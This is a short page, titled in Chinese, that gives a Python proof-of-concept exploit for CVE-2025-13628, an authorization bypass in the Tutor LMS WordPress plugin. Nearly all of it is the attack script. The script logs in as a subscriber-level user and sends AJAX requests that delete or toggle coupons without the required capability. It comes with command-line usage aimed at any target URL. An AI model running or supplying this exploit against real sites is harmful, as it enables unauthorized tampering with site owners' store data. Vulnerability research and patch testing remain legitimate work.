CVE-2025-13628 Tutor LMS 权限绕过漏洞

import requests import sys from urllib.parse import urljoin # CVE-2025-13628 PoC - Tutor LMS Authorization Bypass # Affected: Tutor LMS <= 3.9.3 def exploit_coupon_deletion(target_url, coupon_id, action='delete'): """ Exploit unauthorized coupon manipulation via missing capability check. Args: target_url: Target WordPress site URL coupon_id: ID of coupon to manipulate action: Operation to perform (delete, activate, deactivate, trash) """ session = requests.Session() # Login as subscriber (low-privilege user) login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': 'subscriber_username', 'pwd': 'subscriber_password', 'wp-submit': 'Log In', 'redirect_to': target_url } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful as subscriber') # Exploit the authorization bypass exploit_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # Method 1: bulk_action_handler exploitation exploit_data = { 'action': 'tutor_bulk_action_handler', 'bulk_action': action, 'coupon_ids[]': coupon_id } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f'[+] Coupon {coupon_id} {action} request sent') # Method 2: coupon_permanent_delete exploitation (for deletion) if action == 'delete': delete_data = { 'action': 'tutor_coupon_permanent_delete', 'coupon_id': coupon_id } delete_response = session.post(exploit_url, data=delete_data) print(f'[+] Permanent delete request sent for coupon {coupon_id}') return True if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <coupon_id>') print('Example: python exploit.py http://target.com/ 123') sys.exit(1) target = sys.argv[1] coupon_id = sys.argv[2] exploit_coupon_deletion(target, coupon_id, 'delete')